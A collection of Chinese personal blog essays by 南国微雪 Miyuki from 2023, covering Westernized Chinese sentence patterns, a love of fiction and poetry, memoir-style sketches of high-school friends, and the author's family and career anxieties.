　　这是典型的西化句式。 这类西化句式往往可以去掉“是”和“的”，直接使用形容词。汉语的形容词可以直接作谓语，比如“你好”，没必要必须使用“是”作谓语加“形容词”作宾语的形式。

　　这两种句式给人的差别，甚至能大到让读者或听者感受到“有没有说人话”的程度。此处举两个例子感受一下。

　　“他是令人敬畏的。”与“他令人敬畏。”

　　“我觉得这是不好的。”与“我觉得这不好。”

　　“如果你认为这是必要的，那就去做。”与“如果你认为必要，那就去做。”

　　相比之下，直接使用形容词，让人感觉更地道，更汉语。

　　曾有一项有趣的研究，统计人们对于“的”的感受。 研究者给出两篇意思大体相同的文章，只是两篇文章句式不同。一篇大量使用“的”进行修饰，另一篇则尽可能减少这种应用，比如换成代词，或者分成短句。最后的统计结论也能猜到：大多数人不喜欢前者，觉得其啰嗦，阅读体验糟糕，并且长句让人读起来很累。后者受到更多人青睐。不过也有少数人觉得连续和大量的“的”，读起来有一种节奏感，不过这是另一个话题了。

　　这个问题，甚至列为《翻译乃大道》中的典型。余光中先生在书中毫不留情，直接拿朱自清的《荷塘月色》开刀。

　　“弯弯的杨柳的稀疏的倩影，却又像是画在荷叶上。”先生建议改为“杨柳弯弯，稀疏的倩影却又像是画在荷叶上。”

　　先生认为，虚字滥用不仅影响阅读体验，也是作家懒惰的典型体现：只简单堆叠，而不精心修理。

　　先生举了另一个极端的例子：

　　“我们的祖母，我们的母亲的少女时代已无从想象了……我们的姐妹，正如我们，到了一个多变幻的歧途。最使我们怀想的是我们那些年轻的美丽的姑姑……停止了我们的想象吧。关于我那些姑姑我的记忆是非常简单的。”（何其芳《哀歌》）

　　《翻译乃大道》一书，谈翻译，更谈中文。而先生的观点，恐也是大多数中文学者的观点。

　　北岛曾在社交媒体上大声疾呼“中文已死”，痛心疾首。笔者非中文学者，但看见近乎全盘西化的现代汉语，也未免有些黯然神伤。

　　上述“是……的”的根源，还是移植西方语法后的水土不服。这现象有一个典型的例子。

　　初中英文课有一个典型句式：I don't think <something> is <adjective>.

　　老师无数次强调，此句不能译为“我不认为某事怎样”，而应该译为“我认为某事不怎样。”

　　"I don't think he is wrong."

　　“我不认为他错了。”

　　“我认为他没错。”

　　这个例子我记到现在，因为彼时尚幼小的我，也觉得第一个句子听起来奇怪。

　　（此处也可以写作：也觉得第一个句子听起来怪怪的。斟酌再三，没有采用此写法。）

　　西式语法也喜欢将形容词名词化，以显书面和郑重。

　　"She has realized her dream."

　　"She has the realization of her dream done."

　　前者听起来似乎远不如后者高端，这在英语里无可厚非，但这样句子在汉语里就会显得尤为病态：

　　“她实现了她的梦想。”

　　“她做到了她梦想的实现。”

　　有人认为语言只是表达的工具，没有必要苛求过多。然而，笔者认为表达也分层次。好的表述，言简意赅，层次分明，一见便知。不说人话的表述，冗长赘余，主题混乱，让人云里雾里。

　　笔者并不批判夹杂专业术语的句子，那些术语要么无法翻译，要么译文奇怪。

　　“给我你的 IP 地址。”

　　“给我你的互联网协议地址。”

　　后者完全不符合日常的用词逻辑。

　　笔者只批判那些“人不人鬼不鬼”的句子。纯粹为了时髦或者欧式中文，都应该坚决反对。

　　汉语有着自己的土壤，而汉语也只能在这种土壤上绽放得最为漂亮。

　　我不知道中文是否已经死去，我只知道我不希望中文死去。


　　南国微雪 Miyuki

　　2023 年 11 月 24 日

封面图

摄影师 | Henry & Co.

图源 | Unsplash

小说、诗歌与想象力

写在前面

699 字 | 文学 | 生活节奏 | 沉浸感 | 认知

正文

　　我喜欢小说，也喜欢诗歌。

　　虽近来都读得少了，但并不妨碍喜欢。诗歌本身就短，相比小说更跳跃，有时费劲。

　　所以更喜欢小说，尤其短篇小说——字字刀刃。

　　有时候从小说里抬起头来，竟有些恍惚。我知道我被拉了进去。而这也正是我喜欢它的原因。

　　沉浸感和代入感，在这个快节奏的时代，是一件奢侈品。

　　究其原因，或许只是因为对书页中的那个世界感到好奇吧。

　　一个虚构的世界，一个想象力的世界。

　　想象力也是一件奢侈品。

　　我很喜欢那种扑面而来的点子，散成一团，却又各自独立，一听就引人无限联想。那些，有着中毒一般的魔力，诱人好奇。

　　一个总是下着雪，却不会冷的国度；

　　一位总是撑着红色油纸伞，在雨天的街上徘徊的忧伤女性；

　　一位亲手摔碎最爱的乌龙茶茶壶的老人；

　　抱着婴儿，一面说着“对不起”，一面嚎啕大哭的男人；

　　不知道是谁放在山崖下的蹦床，崭新，完好，甚至旁边还有用来包装的箱子；

　　一次一次背叛，却又一次一次被同伴拯救的淘金者，最终在荒无人烟的沙漠里对着同伴失声痛哭；

　　开心到推动星球旋转的小女孩；

　　买卖寿命和感情的铁匠；

　　能够回溯时空，但非常招摇并且不能被脱下的彩色外套；

　　……

　　这些曾经是我原来想写的内容。

　　一度兴奋，因为其想象力；最终搁浅，也因为想象力。

　　所以我似乎并不是追寻着什么，我只是在期待着能够找到进入另一个世界的钥匙。

　　优秀的诗歌，必不可少的两项内容：一是想象力，二是感染力。

　　这两个我都很喜欢。

　　我变得很浮躁，看书似乎也都只看功利性的实用类文本。

　　然而，遇见短篇小说和诗歌，我还是情难自矜地阅读下去。

　　我想这大概就是小说和诗歌的魅力所在，也是想象力的闪光点。


　　南国微雪 Miyuki

　　2023 年 11 月 11 日

封面图

摄影师 | Héctor J. Rivas

图源 | Unsplash

八字手链人物传记计划——懿

写在前面

252 字 | 人际关系 | 性格 | 品质

秘密 | 承诺

灵珍琴懿，骆旭泽予。

正文

　　懿的关键词是：耐心。

　　关于她的故事，我不会讲。

　　她是我内心深处，最烙下痕印的秘密。

　　我与她的经历，象征着最青涩、最懵懂、最自私、最不知如何是好的时光。

　　我至今都很后悔。也至今都很怀念。

　　我给陌生人讲过很多故事，很多经历。其中大多亲见亲历。

　　我的人生如此贫乏枯燥，差不多已经讲述完毕了。

　　但她，将一直是一个秘密。

　　这是我对自己的承诺。

　　她的故事，会有人知道。不过我想，那应该是最为重要的寥寥几人之一了。


　　南国微雪 Miyuki

　　2023 年 8 月 20 日

封面图

摄影师 | 懿的朋友

图源 | 生活

八字手链人物传记计划——琴

写在前面

1571 字 | 人际关系 | 性格 | 品质

灵珍琴懿，骆旭泽予。

正文

　　琴是一个与我无关的人。

　　整个高中，她都与我没有半点关联。我一直只是在看着她而已。仅此而已。若不是有同学这层被动关系在，大概我与她终其一生都不会产生交集。

　　现在，便是路人。

　　琴的关键词是“阳光”。

　　因为，她一直，总是笑着。


　　狼人杀不知什么时候刮起一阵风，似乎一夜之间来了这么一个游戏，让所有人狂热。

　　她是其中的一员。

　　那个以成绩论英雄的高中时代，狼人杀的玩家阵容可谓豪华，几乎全级前三十名都在内。但那时我们还没有分班，所有同学都对名次看得很淡，等级森严对我们来说，似乎是一个遥不可及的状态。

　　我们只是在一起疯玩。

　　虽然我不包含在内，但我只是在一旁看着，就会觉得很开心。

　　她总是笑，总是插话，一边调侃别人，一边开玩笑，一边起哄，又一边思考。她在自己发言的时候认真，当然也被其他人调笑，她也不恼，回应后又继续，和其他人一样。

　　至于为什么在那一群人里，我只关注她，而不是明星一样的全级前五们，有很深的原因。

　　我一开始的动机并不单纯，但也没那个勇气。

　　那个时候我深知，我和她完全是两个世界的人。如果她在地球上，我就在 250 万光年的仙女座星系上——在离她最近的地方看着她，却只能羡慕着她身上温暖的阳光。

　　高中的我很沉郁。我向所有人都说，那时候的我，像极了动漫番剧里那些阴暗的经典模样：刘海垂到眼睛下，坐在最后一排，没有朋友，不愿说话。虽不至于此，但气质类似。

　　所以我只能看着这样的她。

　　圆脸，散着头发，戴着圆框眼镜。又圆又大的眼睛与她的娃娃脸相得益彰，看起来煞是可爱。加上一举一动、一颦一笑，颇似一个孩子。一个爱笑但是不捣蛋的野孩子谁不喜欢呢？


　　我所能记起的，只有高中时期的事情。

　　而整个高中，我知道的，她真正伤心的时候，只有一次。

　　周末，她们在宿舍里疯，或许是喝多了，或许是太开心，弄出来很大的响声。那个时候管得很严，保安在楼外巡查，觉得她们不检点。当然其中原委颇多，我并不是当事人，所以忆不清晰了。

　　她们觉得被诬陷，被冠以莫须有之罪，一连找了好几天班主任。而班主任罕见地对此事很不耐烦。那是我唯一一次见她一脸郁结很多天。而听她说，她某个晚上还哭过。

　　或许这件事对她打击很大吧。而在我心里，这件事很让人震撼。我一直记到现在。

　　原来她也会哭……

　　我总觉得，她像是太阳，而听到这个消息的那一刹那，我仿佛看到了一颗流星。


　　高中每一次大考，都要搭考场。原本一个班级所有人都能坐下，现在有一些同学必须要搬去走廊。

　　冬天，外面很冷。缩着手，将袖口握在手心里都能感觉到寒意。不时还有风刮过。每每从教室里到教室外，都让人觉得像是夏季步入冬季，又仿佛坐在烧着壁炉的小家里，看着外面呼啸而过的暴雪。

　　琴很爱坐外面。

　　每次大考的那些晚自习，我总能在外面看见她。

　　她和朋友一起，在四处散乱的课本中间，在她自己的桌子前面。一面抽问，一面闲聊，一面尴尬地笑笑自己怎么全忘了，一面吐槽大考之前背书越背越慌。

　　那盏小小的台灯，在寒气凛凛的冬天夜晚，看起来很显眼。台灯并不亮，只能照亮她和她朋友的桌子，捎带一点过道。但每次路过她们身旁，都能感受到那阵小小的亮光，也都能听到一阵笑声。

　　有时候她会静静地坐在那里刷题，然后抓狂：“怎么错在这里了！”

　　“你不冷吗？”我问。

　　“冷一点能保持清醒！”她举起拳头。

　　我笑出声。

　　大多时候，我只是静静地看着琴。

　　“我的天空里没有太阳，总是黑夜，但并不暗，因为有东西代替了太阳。虽然没有太阳那么明亮，但对我来说已经足够。凭借着这份光，我便能把黑夜当成白天。”

　　我只跟琴说过四五句话。在那之后，我彻底放弃了——因为，看着她，要比感受到她公式化地对自己聊天，更开心。


　　高考前拍毕业照。我鼓起勇气，问琴能不能拍一张合照。

　　于是我才有了那唯一一张我与琴的合照。

　　我后来才发现，那天，琴穿着橙色的裙子。

　　暖极的颜色。

　　像太阳。


　　南国微雪 Miyuki

　　2023 年 9 月 23 日

封面图

摄影师 | 琴的朋友

图源 | 生活

八字手链人物传记计划——珍

写在前面

2430 字 | 朋友 | 亲密关系 | 人际关系 | 性格 | 品质

灵珍琴懿，骆旭泽予。

正文

　　我与珍的关系很奇怪。其一，不知道怎么开始的，其二，竟然没有断掉。

　　高考之前，两个班级的人都认识，于是经常去串班。我只常见两个人，灵和珍。而与珍怎样常聊起来，我实在记不清晰了。

　　我们之间的关系，从高考之后，才真正开始。我所记得的，只有高考后发生的事。

　　珍的关键词是：温柔。

　　她，真的非常温柔。


　　我曾想跟珍表白。 不过，对于一个内向羞涩的男生来说，那两个具有强烈恋爱气息的字眼，说起来太过困难，只能曲线救国。

　　更况，当时我实际上并不懂“喜欢”究竟是一种怎样的感觉。

　　珍显然意识到了这些。

　　她沉默的期间，我甚至能听到珍那边小卖铺的嘈杂声。

　　“我觉得，是你定位不太对。我记得我给你说过的吧，我相信异性之间有纯洁的友谊。可能你是有点类似于我哥哥那样的感觉，我哥哥他对我很好。然后你不懂这是不是喜欢，但其实这可能只是好朋友的一种普通表现。” （摘自 2020 年 10 月 23 日《前行》）

　　我正开口想说些什么，又听见她说：“等下，我买个早饭，不然明天早上没得吃。”

　　我笑出声。珍这句话，一下将我拉回现实。

　　她的回答很保守，满满的都是“不想失去”的味道。

　　朋友这条路，最安稳。不用费脑筋考虑，也不用担心发生大的变故。

　　珍知道我有什么想法。换一般人的人来说：拒绝，然后断联。

　　珍并没有这么做。

　　“假设，只是假设，如果我今天表白了，你会怎么做呢？”我最终问出了这个问题。

　　“嗯……”她犹豫了一下，“讲清楚，然后我们还是好闺蜜。”

　　“如果只有接受和拒绝，你会选择哪一个呢？”

　　“拒绝吧。因为像你说的一样，我也没搞清楚过喜欢是什么感觉。但还是想做好朋友。”她这样说。

　　我承认那个时候很幼稚，为了知晓对方的想法，提出的问题将对方一步步逼上绝路。

　　但她还是回复了我。正面地、真诚地、坦然地回答了这个问题。

　　每一次回想，都觉得那时的自己稚嫩又狡猾。

　　珍似乎从不在意这些，她似乎从一开始就一直这样：温和、不疾不徐、做着自己应做的事。

　　我原来收到过她的一封信，信中，她说：“当我看到PTA 系统上排名靠前的时候，当我拿到奖学金的时候，当我被称为学委姐姐和学委妈妈的时候，我知道，我不一定比男生差。”

　　阅读这封信时，我正走在路上。看到这里差点哭出来。那时觉得珍已经活成了我理想中的样子——为各种各样自己觉得值得的事情，奔走在路上。


　　写这篇文章时，珍已经研究生入学了。她的保研经历可谓跌宕起伏、一波三折，幸而最终有了接纳之处。不过此处因无关主题，略去不表。

　　她说，读了研究生之后，才发现自己本科过得太舒服了。研究生生活似乎完全不像她想象中的那样。枯燥、漫长、乏味，在实验室一待一整天。

　　她的大学很忙，有时也怀疑过自己，到底为什么这么忙碌，不过还是一直踉踉跄跄走了下去。

　　毕业时，她与我发消息说：“我已经把我的室友都送走了。”

　　我当时看到这句话很想笑，回了一句：“你这个说法，好吓人。”

　　她说：“第一次觉得自己这么爱哭。”

　　我良久无言，最后只能发一个拥抱的表情过去。

　　我曾与珍争论过主动的问题。她曾有段时间，像 Siri 一样，有问必答，但从不主动，我那时多多少少有些怨气。

　　后来，她说，我并不是她分享生活的前几个人，甚至是最后几个——跟现实的朋友说完了，再跟自己的闺蜜说，如果还有分享欲的话，才会找上我。当时我说实话有点生气。

　　同时，也是她，单独设置了与我聊天时的背景图片。那是我二十一岁，与社团在一起的合照。我很诧异，问为什么。

　　“我只给关系好的几个人设置了。”她回复。

　　那一瞬间，我的怨气忽然消了。那时我才发现，自始至终也在谋求着什么特殊地位。

　　当我知道了我和她，并不是地位不平等时，谁主动与否就不再重要了。


　　《亲密关系》中的相互依赖理论有两种关系模型：交换关系和共有关系。前者不喜欢亏欠人情，计较自己的得失，有所图时才关注对面的需求，而后者截然相反。

　　我在这一瞬间，觉得我们已经共有。

　　如果说，有什么瞬间，让我感觉她也进入了这种状态，那一定是她给我发那些照片的时候。

　　那也是我唯一一次，鲜明地感受到她：那种南方女子特有的婉约、含蓄与温柔。

　　我曾送她一条项链，作为生日礼物。项链图案是一片雪花。我喜欢雪。

　　而后某一天，她和我说，她要好好玩一天。我说，那就好好放松，大玩特玩！她满口答应，再无消息。

　　到了晚上，她给我返了图。一共六张。

　　每张照片，她笑得嫣然。

　　每张照片，脖子上都挂着那条项链。微小却明显。安静得就如雪花本身一般，只是静静地飘着。

　　这件事或许只是我的一厢情愿；或许只是她随便选了一条项链；或许恰好是这六张。怎么说都有可能。

　　这是最令人着迷的地方：她没有说，我也没有问。 我不敢说有没有心照不宣，但是这方面的默契我们却出奇地一致。

　　有些事情，让它永远是个谜，最为美丽。

　　而发给我这六张照片的她，一如《雨巷》里那个细雨蒙蒙的含蓄女子一般，让人深感韵味悠长。


　　我和珍的友谊，在高考之后才开始。

　　在我心中，我和她的关系，于一个点开始，那个点永远地凝固在 2019 年 6 月。凝固在我鼓起勇气给她说的那句话。

　　而那时候，我不会知道我和她会走到何种令人惊喜的地步。

　　之前我和她所有的经历、对话、动作，都是预热。

　　那天是她的学宴。

　　从 KTV 出来的时候，太阳很大。感觉树都在一边想要溜走。

　　“我送送你吧。”

　　“不用，我应该记得住路。”

　　“不行，我还是得送送你。”小步朝着阴凉的地方走去。

　　但是太阳总还是厉害一点。

　　看着有些淡淡的晒痕，下意识地开口：“以后涂点防晒霜再出来吧。”

　　“怎么了？”

　　“怕你晒黑了。”

　　“没事儿，我女汉子，不怕。”

　　“晒黑了……不好看啊……”

　　似乎害羞了一下。

　　是谁呢？

　　有些沉默地走完最后一点点路。

　　“那我就送到这里了啊。”

　　“嗯，你快回去陪她们吧。”

　　“好。”

　　……

　　“今天也很热啊……”我看了看周围，又看了看天空。

　　天空好漂亮。

　　我感觉有什么东西很相像，看了看那个渐行渐远的背影。

　　这样啊……

　　六月，还真的是，很热啊。


　　谨以此文献给我的挚友，珍。


　　南国微雪 Miyuki

　　2023 年 9 月 17 日

写在后面

　　部分内容摘自 2020 年 2 月 20 日写与珍的信件《点点漫情》。

　　《前行》一文因公众号申请较晚，故仅存在于博客中。

封面图

摄影师 | 珍的朋友

图源 | 生活

风筝离家出走

写在前面

2013 字 | 家人 | 情感 | 经历 | 自我表露

正文

　　最近很焦虑。

　　今晚和朋友聊到，生活的考验，原来从校园毕业那一刻才开始。

　　我不喜欢银行的工作。但目前也无处可去，所以只能先做着，像大多数的普通人一样。

　　我和朋友说，我宁愿在技术领域也不愿在金融领域。可能这也是为什么我是穷人吧。

　　我想跑。目前的想跑的处境很困难，但此处暂且不谈，因为并不关键。

　　朋友给我指了一条路，说，既然国内脱产考研都有无数人落榜，在职考全日制肯定行不通。不如忍一年，攒够钱去马来西亚水个硕回来重新校招。

　　“反正我说了也没什么用，你八成跑不了。你过不了你父母那关。”他说。

　　“大概率过不了。要是有意外的话也说不一定呢？”我有时候很犟。

　　我确实八成跑不了。出国和离开家里完全是两种概念了。不是我缺乏勇气，而是我实在不忍心。


　　父母第一次到成都，是陪我一起去大学报到。我亲眼看到他们面对高铁动车手足无措，帮我领着大包小包被地铁闸机卡在外面十几分钟。那时候我也第一次看见这些。然而父母并不如新时代的年轻人，会看标语，他们习惯问人。

　　两代人的差距，不止年龄和数字的鸿沟。

　　我看到过父亲边开着摩托车边背对我哭出声；看到过父母凌晨五点吵架到十点，最后迫于无奈报警求助；我看到过母亲为了等慢得要死的半自动洗衣机，睡眼惺忪爬起来晾衣服；我看到过父亲夏天高空作业回家，背上脖子上晒伤到蜕皮。

　　我曾在《总有一种东西，让你想起那些人》里说过，我的父亲是重工业工人。底层人民的生活就是我的一部分。

　　底层人民的生活中，他们一直在寻找一个“盼头”。对于我的父母而言，我和兄长，就是他们的盼头。

　　父亲曾说，要是我们两个都没了，生活也就不用继续了。

　　父亲对于重大的事情，一向说到做到。我毫不怀疑他这句话的真实性。可能，在这点上，我受父亲的影响，或是遗传自父亲。

　　我青春期时，在自己的坚持上，很叛逆，曾经发大火对父亲斥喊：“你少管我那么多！”父亲平静地回了一句：“要是你真不想我管，你做个决定，说句话就行。从此之后，我绝不再管你。自己的选择，自己承担责任。”父亲当时的语气真的异常冷静，有如冰面一般。

　　那是我人生中，第一次感到来自父母的恐惧，也是第一次真真切切地感受到，来自父亲的威严。

　　我知道，如果我说出口，父亲真的会那么做。而他也不会再回到我身边来了。

　　我性子急，又随母亲。

　　母亲性子急起来，不会给任何人说话的机会。甚至她自己都会犯上心脏病。

　　最近的焦虑也是因为一直不想把这些事情挂在心上。

　　慢性子觉得所有的事情放在一边也无所谓，慢慢解决就行；急性子把这些事挂在心上，会实实在在地成为一个个秤砣，最终把人压垮。

　　行动派大多急性子。

　　原来取景器里映出母亲做菜的侧影时，我才发现母亲已经如此苍老了。

　　母亲原来和父亲吵架赌气，不去和父亲一起干活，而是一个人在房间里，坐在藤椅上昏睡。膝盖上盖一条毛毯，夕阳斜照在她的脸上。

　　我原来曾经想把这一幕拍下来，终究下不去手——从取景器里，用相机去表达这一裁剪后的画面，我只能感受到母亲的苍老。

　　我在做自己决定的时候，很少只考虑自己。对我而言重要的人，我会想一个遍。

　　有时候觉得父母真是个累赘，自己想做什么事情的时候都要考虑他们。有时候也怀疑自己是不是受儒家思想毒害太深了，其实本可以不管。

　　坦诚地说，我想过很多次，要是他们完全不管我就好了，我就可以问心无愧地做任何自己想做的事，做任何决定还不用吵架。不用瞻前顾后，很自由。

　　但是，不行。

　　我深知我接受了父亲母亲多少无法言说的爱。

　　我确实恨自己没有投胎好，没有生在一个锦衣玉食、遍地银元的家庭，没办法看无数的风景，也不能经历上流的生活。为什么人生来就有金匙和铁勺之分呢？

　　但是父母确确实实，也已经给了我，他们身为工人所能给的一切。

　　我的父母被家族孤立，全靠工作质量一传十，十传百，而其中的顾客，没有哪怕一个家族里的人；我的父母有一个嫌贫爱富的父亲，因姐姐嫁了个公务员好人家，而后父母备受祖父冷眼；我的父母，在我找到工作之后，第一句话是：“不要对外说，所有人都见不得我们好，对外你就说待业，免得人嚼口舌。”

　　我的父母多头受气已经很久了，已经很克制了。

　　在我们眼里看来，他们身上的那些固有偏见，我说不清有多少是完全的时代因素。这是个伪命题。

　　我只知道，作为一个保护伞，他们已经很尽力了。而现在，我想作为他们的保护伞。

　　我过不去父母那一关。


　　风筝曾经离家出走过，那时候它以为自己很自由。可以一天一夜不回家，自己和玩伴玩着小霸王游戏机，全然听不到风筝线漫山遍野地找。

　　风筝终于在某个时候意识到，是什么让它避免接触大气、跌落荒野。


　　对于普通人来说，某些人仍然活在世界上，便已经是最大的慰藉。

　　风筝线断掉的那一天，风会把风筝带走的。


　　南国微雪 Miyuki

　　2023 年 9 月 12 日

写在后面

　　这篇文章完全在我的计划之外。

　　我很久没有写过这样高度自我披露的文字了。我对此有些害怕。

　　只是实在方寸难耐，遂写下来。

　　这篇文章并不能成为我的解决方案，但或许，它能给我一点安慰吧。

封面图

摄影师 | Klara Kulikova

图源 | Unsplash

我和她之间

写在前面

1873 字 | 朋友 | 两性 | 人际关系

本文所有内容，已征得对方许可。

正文

　　这次的主人公，于我而言，是一个很重要的人。因为接下来会涉及一些非常敏感的信息，所以暂时隐去其称呼，均以“她”代称。

　　自她向我表白的那一刻起，我才发觉：我一直被她牢牢地握在了手心里。

　　她说：“今天晚上和你说这件事，我不怕被拒绝。我只是坦白。我知道就算我说了，我也不会失去你这个朋友。我不打没有把握的仗，我们还可以继续好好相处的，对吧？”

　　我当时看到这些句子，其实有些五味杂陈。都说人性复杂，不可预测。但有些人，似乎天生有着这方面的能力。她是其中之一。不过我想，这长达几年的交流中，她一直在观察着我吧。否则，不会如此笃定。

　　在这方面，我确实输了。

　　以上，是前提。

　　她的身体一直不太好，她父母最近经常买很多补品给她吃，还让她去理疗店调养身体。不吃还好，一吃，隐隐约约地吃出了问题。

　　前两天来例假，她疼得死去活来。晚上睡觉，半夜三点钟疼醒。之前就有这种征兆了，当时我叫她买药，她不太想吃药，而且觉得自己能挺过去，就没买。

　　那晚她说吃了药，但我不清楚从哪儿来的。她跟我说这件事的时候是早上六点，那个时候她在外面玩儿。

　　“好多啦，我吃了药啦，你放心好了。”

　　“我放心你个鬼，你这疼得反反复复的。”

　　晚上九点，她跟我说，走了。我松了口气。

　　我犹豫了一下，还是问：“你几号来的？”

　　然后她跟我说，上课很困。我跟她说，睡，在老师脸上睡！

　　我以为不会有回复了。然而，随后她发来两张截图。那是她在一个软件上，记录的详细周期信息。

　　然后她继续说，睡个屁，还要上课。

　　就好像这没什么一样。

　　我怔住了。我以为最多就会说一个日期。

　　原本的打算不起任何作用了。我本来想着，她给一个开始日期，我用小米手环算一下，以后每次也好提前提醒。

　　她自己一直在记录，但还是没买药……

　　随后才反应过来，她这得有多信任我，才会把这两张图发出来？

　　我发觉这点之后，很长时间都没说话。

　　然而，这并不是结束。

　　不久，她又发来一张图。一盒药，放在床上。还拍了使用说明书。

　　我看了一下，看蒙了。

　　“你买这个干嘛？”

　　“因为疼……所以买了……”

　　“不过我看使用说明要进入深处……你敢吗……”

　　“你以为呢……第一次用，太紧张，还把药弄断了……真的太羞耻了……”

　　“……”

　　这个场面我还真没遇到过，措辞在脑子里打了好几个转，最后还是只能安慰。

　　“很正常啦，病不忌医嘛。只要用了起作用就行。不用那么害羞昂。”

　　“但是真的好羞耻……”

　　“上药的时候疼吗？”

　　“不疼，”她还说，“现在已经好多了。”

　　“那挺好的呀，那就早点睡吧。明早起来说不定就好了。”

　　十点多了。

　　“行吧，晚安，好梦。”

　　“可不要因为太害羞而睡不着哦？”最后忽然想恶作剧一下。

　　“你闭嘴。”


　　我放下手机。睡觉。睡不着。

　　我确实不知道怎么看待她越来越深入的感情了。

　　我之前对她的回复是，我现在能做的最大善意，就是不前进也不后退。

　　“是否继续这样没有结果的喜欢，全部由你自己决定。”

　　现在依然如此。

　　她曾说，她可以轻易地对人说“我爱你”，但是不会轻易对人说“我喜欢你”。她说，后面这句话，太有强烈的恋爱色彩，让人很害羞。所以“我喜欢你”是她对恋爱的最高保留。

　　我对自己的这个决定仍然没有动摇。但我也实实在在地，不知道怎么处理她现在越来越深的感情。

　　信任，永远是一种稀缺资源。我一直，一直，非常看重。

　　信任不仅构筑了人与人之间那些纯粹的关系，还构建了现代金融体系。

　　没有信任，每个人与其他人的交往，都将会是一场高端局“狼人杀”。选择相信与选择怀疑，相信多少，怀疑多少，计算成本将突破天际。

　　我对处理这样大份量的信任没有任何经验。


　　前两天，有人说想我了。学校里，社团的人。那时候我已经上了一个多月班了。毕业已经三个月了。

　　他们的群，我没退。这件事之前，我翻看聊天记录，发现有人在餐馆拍了一张照。

　　还在读的朋友，圈了一个路人：“我还以为刘总回来了。”

　　那个背影确实有些像我。

　　我看到这些，心里觉得很温暖。


　　一直觉得人际关系是个很难的问题。

　　阿尔弗雷德 · 阿德勒说：“一切烦恼都来自于人际关系。”

　　但是，我们的幸福，也都来源于此。

　　我和她的关系，迟早会有一个结束。而且，离现在并不遥远。我不知道那时候路怎么走。不过，我肯定会给予她一个完美的回复，以感谢这么久以来她的陪伴。

　　我欠她很多很多，也一直觉得她很勇敢。

　　“知道了她这么私密的信息，你打算怎么回馈？”朋友问。

　　“买杯奶茶吧！”我笑笑说。

　　其实我心里一直都知道，我所能回馈的，一直是：不抛弃，不放弃，不背叛。

　　“继续走吧，”我想，“能走到哪里算哪里，我和她之间。”


　　南国微雪 Miyuki

　　2023 年 9 月 9 日

写在后面

　　部分语言为文学艺术加工，不与现实相同。

封面图

摄影师 | Fausto García-Menéndez

图源 | Unsplash

八字手链人物传记计划——灵

写在前面

2561 字 | 朋友 | 亲密关系 | 人际关系 | 性格 | 品质

灵珍琴懿，骆旭泽予。

正文

　　灵是我至今都很要好的一个朋友。

　　纵然如今的她，已经和当时我的认知变得不一样了，但并不代表那个她不存在。

　　或许有一天，陨石坠地，砸开一条时空隧道，能让我穿越回去，见见曾经的她。彼时，我会对 2018 和 2019 的灵说：“谢谢你。”

　　灵的关键词是：努力。

　　这是她教会我的，最重要的东西。


　　如果说有什么事件，让我重视起她，那一定是她手术住院那次。

　　高中，县城，郊区。为了高考，几乎都住校，寥寥学生通勤。六点半上早自习，九点半下晚自习。只有星期六下午到星期天早上，我们能接触手机。

　　正是这段时间，我知道她住院了。

　　她的朋友说，她突然肚子疼，痛到走不动路。几个人连忙打了个车去医院检查。

　　阑尾炎。

　　那一周，灵都没来上课。

　　我知道这个消息时，已经很晚了。不在一个班，我也不太知道她的动向。

　　我知道这一消息时，第一反应竟然是一种强烈的不公平。

　　我当时觉得，这样努力的人，不应该受到这样的对待。同时觉得我必须做些什么。

　　现在看来，我当时的想法非常单纯。

　　世界上有无数努力的人，并不是每个人都会得到好的结果。

　　虽然现在认识到了世界的复杂，但 现在依然不希望这种事情发生在我重要的人身上。

　　前台，打听床号，进门。

　　那个病房只有她一个人。

　　她的父母一直坐在床对面。不知道为什么不坐凳子。

　　彼时阳光明媚，沉闷的午后，甚至有些热。但对灵来说，可能只有刺眼吧。

　　医院窗户没有窗帘，只一个枕头，竖放在她头右侧遮光。脖子以下，洁白的被子。几绺发丝，轻轻垂在她脸旁。

　　我从没见过她那种模样。

　　或许是听到了她父母招呼我的声音，她缓缓地睁开眼睛。见我坐在她对面，她虚弱地笑了一下。

　　当时真的很心疼。我无法形容那种心情。

　　年代太过久远，我已经记不清楚当时问了些什么。更况当时其尊堂均在，有些紧张。

　　不过， 她回答的声音很轻，声音也很低，有些字眼甚至哑声。

　　或许那是我第一次意识到她对我而言很重要吧。

　　我只记得了一个问题：“还有其他人来看你吗？”

　　她笑笑说：“有啊，懿和愉娟她们来过了。”

　　我只记得这个，因为当时很开心。我是惟二看望她的其中之一。

　　双方都沉默后，静谧的病房里，似乎连空气都停滞。

　　稚嫩的我有些受不了这尴尬的气氛，兄长也在外面等我一起看电影，便匆匆告辞。

　　我出病房时，回头看了看她：灵那时已经闭上了眼睛。


　　从那之后，我便非常在意灵。

　　我总是在晚自习下课之后，去她的教室找她。说不清楚为什么，大概只是想聊聊天。

　　那个时候已临近高考。学校又分了一次班，美其名曰：清北班。这个班神就神在，只有三十个人。全级前三十名。

　　灵一直是前五名。

　　这个学霸在班里一直搓手，要么一直把手塞在保暖套枕里——三十个人一个教室，太冷了。还是冬天晚自习下课之后。

　　他们空间和自由也很多，随便加箱子，座垫暖宝宝之类。但我没看到灵有变过。

　　她，一直，一直，在座位上。就像我跟她还在一个班级时那样。

　　我去找她时，她也总是在。

　　我不清楚她的学习方法是什么，又怎样，但她的效率不容置疑。

　　我一直看着那样的她。她在我心中也一直是这样的印象。

　　努力，低调，沉默，安稳，活动时却又开朗外向，像一道光。

　　高考出成绩那天，我问她，清北能上吗？

　　灵拍了她的查分屏幕发给我，说，不行。

　　那年整个四川都非常离谱，750 满分，705 左右才能稳清北。

　　灵 683 分。

　　我不知道屏幕那边她的表情怎样，但我有些难过。我想，她大概也有落差，但还是冷静地接受了这一点。

　　我觉得这很厉害。


　　大学。

　　这期间，我们仍然很少联系。各自为生活奔波，又享受其中。

　　因为联系太少，大四时，我仿佛觉得她是一夜之间变得那么优秀。

　　之前她跟我略显担心地说，很可能保不上研，要考了。然后我不久之后忧虑地问，考研考得怎么样，她又轻描淡写地发消息。

　　“不用考啦，保了。”

　　研究方向：一流税务师。三段实习经历。拿过奖学金。当过团委部长。为人亲和而温柔。

　　其实我知道，她一直很优秀。

　　在与她的交往中，我恍惚间快忘掉了这个事实。她的亲和力，很容易让人在交往中，忘掉那些条条框框。因为，那些象征着优秀的标志，在她这里不重要——像呼吸一样自然。

　　她自己做了多少努力，不用猜。因为我看到过她的曾经。

　　只是她不说。


　　毕业旅行。

　　六个小时的高铁抵达杭州时，已经很晚了。翌日我才见到她。见到她在大学里的样子。

　　这次旅行彻底颠覆了那个“努力”的单薄印象。

